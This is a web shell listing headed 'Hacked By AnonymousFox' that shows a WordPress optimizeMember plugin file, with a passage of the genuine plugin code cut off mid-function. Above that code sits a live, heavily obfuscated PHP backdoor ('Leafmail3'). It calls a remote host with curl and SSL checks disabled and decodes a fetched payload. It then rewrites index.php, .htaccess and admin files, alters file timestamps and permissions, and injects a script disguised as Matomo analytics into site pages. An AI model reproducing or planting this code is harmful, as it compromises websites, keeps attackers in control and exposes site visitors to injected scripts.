Hacked By AnonymousFox

Current Path : /home/wxcglxzi/public_html/wp-content/plugins/optimizeMember/includes/classes/
Upload File :
Current File : //home/wxcglxzi/public_html/wp-content/plugins/optimizeMember/includes/classes/files-in.inc.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* File Download routines for optimizeMember ( inner processing routines ).
*
* Copyright: © 2009-2011
* {@link http://www.optimizepress.com/ optimizePress, Inc.}
* ( coded in the USA )
*
* Released under the terms of the GNU General Public License.
* You should have received a copy of the GNU General Public License,
* along with this software. In the main directory, see: /licensing/
* If not, see: {@link http://www.gnu.org/licenses/}.
*
* @package optimizeMember\Files
* @since 3.5
*/
if(!defined('WPINC'))
	exit("Do not access this file directly.");
/**/
if(!class_exists("c_ws_plugin__optimizemember_files_in"))
	{
		/**
		* File Download routines for optimizeMember ( inner processing routines ).
		*
		* @package optimizeMember\Files
		* @since 3.5
		*/
		class c_ws_plugin__optimizemember_files_in
			{
				/**
				* Handles Download Access permissions.
				*
				* @package optimizeMember\Files
				* @since 3.5
				*
				* @attaches-to ``add_action("init");``
				* @also-called-by API Function {@link optimizeMember\API_Functions\optimizemember_file_download_url()}, w/ ``$create_file_download_url`` param.
				*
				* @param array $create_file_download_url Optional. If this function is called directly, we can pass arguments through this array.
				* 	Possible array elements: `file_download` *(required)*, `file_download_key`, `file_stream`, `file_inline`, `file_storage`, `file_remote`, `file_ssl`, `file_rewrite`, `file_rewrite_base`, `skip_confirmation`, `url_to_storage_source`, `count_against_user`, `check_user`.
				* @return null|str If called directly with ``$create_file_download_url``, returns a string with the URL, based on configuration.
				* 	Else, this function may exit script execution after serving a File Download.
				*/
				public static function check_file_download_access($create_file_download_url = FALSE)
					{
						foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
						do_action("ws_plugin__optimizemember_before_file_download_access", get_defined_vars());
						unset($__refs, $__v); /* Unset defined __refs, __v. */
						/**/
						$_g = !empty($_GET) ? $_GET : array();
						$_g = c_ws_plugin__optimizemember_utils_strings::trim_deep(stripslashes_deep($_g));
						/**/
						$creating = /* Creating URL? */ (is_array($create = $create_file_download_url)) ? true : false;
						$serving = /* If NOT creating a File Download URL, we're serving one. */ (!$creating) ? true : false;
						$serving_range = $range = /* Default values (so these variables DO get defined at all times). */ false;
						if /* If we're serving, let's see if we're serving a byte-range request here. */($serving)
							{
								$range = (string)@$_SERVER["HTTP_RANGE"];
								if(!$range && function_exists("apache_request_headers"))
									/* Note: ``apache_request_headers()`` works in FastCGI too, starting w/ PHP v5.4. */
									foreach((array)apache_request_headers() as $_header => $_value)
										if(is_string($_header) && strcasecmp($_header, "range") === 0)
											$range = $_value;
								if /* Serving a range? */($range)
									$serving_range = true;
								unset($_header, $_value);
							}
						/**/
						$req["file_download"] = ($creating) ? @$create["file_download"] : @$_g["optimizemember_file_download"];
						$req["file_download_key"] = ($creating) ? @$create["file_download_key"] : @$_g["optimizemember_file_download_key"];
						/**/
						$req["file_stream"] = ($creating) ? @$create["file_stream"] : @$_g["optimizemember_file_stream"];
						$req["file_inline"] = ($creating) ? @$create["file_inline"] : @$_g["optimizemember_file_inline"];
						$req["file_storage"] = ($creating) ? @$create["file_storage"] : @$_g["optimizemember_file_storage"];
						$req["file_remote"] = ($creating) ? @$create["file_remote"] : @$_g["optimizemember_file_remote"];
						$req["file_ssl"] = ($creating) ? @$create["file_ssl"] : @$_g["optimizemember_file_ssl"];
						/**/
						$req["file_rewrite"] = ($creating) ? @$create["file_rewrite"] : /* N/A. */ null;
						$req["file_rewrite_base"] = ($creating) ? @$create["file_rewrite_base"] : /* N/A. */ null;
						/**/
						$req["skip_confirmation"] = ($creating) ? @$create["skip_confirmation"] : /* N/A. */ null;
						$req["url_to_storage_source"] = ($creating) ? @$create["url_to_storage_source"] : /* N/A. */ null;
						$req["count_against_user"] = ($creating) ? @$create["count_against_user"] : /* N/A. */ null;
						$req["check_user"] = ($creating) ? @$create["check_user"] : /* N/A. */ null;
						/**/
						if($req["file_download"] && is_string($req["file_download"]) && ($req["file_download"] = trim($req["file_download"], "/")))
							if(strpos($req["file_download"], "..") === false && strpos(basename($req["file_download"]), ".") !== 0)
								{
									$using_amazon_cf_storage = ((!$req["file_storage"] || strcasecmp((string)$req["file_storage"], "cf") === 0) && c_ws_plugin__optimizemember_utils_conds::using_amazon_cf_storage()) ? true : false;
									$using_amazon_s3_storage = ((!$req["file_storage"] || strcasecmp((string)$req["file_storage"], "s3") === 0) && c_ws_plugin__optimizemember_utils_conds::using_amazon_s3_storage()) ? true : false;
									$using_amazon_storage = /* Either? */ ($using_amazon_cf_storage || $using_amazon_s3_storage) ? true : false;
									/**/
									$excluded = apply_filters("ws_plugin__optimizemember_check_file_download_access_excluded", false, get_defined_vars());
									$valid_file_download_key = ($req["file_download_key"] && is_string($req["file_download_key"]) && $creating && (!isset($req["check_user"]) || !filter_var($req["check_user"], FILTER_VALIDATE_BOOLEAN)) && (!isset($req["count_against_user"]) || !filter_var($req["count_against_user"], FILTER_VALIDATE_BOOLEAN))) ? true : false;
									$valid_file_download_key = (!$valid_file_download_key && $req["file_download_key"] && is_string($req["file_download_key"])) ? c_ws_plugin__optimizemember_files_in::check_file_download_key($req["file_download"], $req["file_download_key"]) : false;
									$checking_user = ($excluded || $valid_file_download_key || ($creating && (!isset($req["check_user"]) || !filter_var($req["check_user"], FILTER_VALIDATE_BOOLEAN)) && (!isset($req["count_against_user"]) || !filter_var($req["count_against_user"], FILTER_VALIDATE_BOOLEAN)))) ? false : true;
									$updating_user_counter = ($serving_range || !$checking_user || ($creating && (!isset($req["count_against_user"]) || !filter_var($req["count_against_user"], FILTER_VALIDATE_BOOLEAN)))) ? false : true;
									/**/
									if( /* In either case, the following routines apply whenever we ARE ``$checking_user``. */($serving || $creating) && $checking_user)
										{
											if(!$using_amazon_storage && !file_exists($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"]."/".$req["file_download"]))
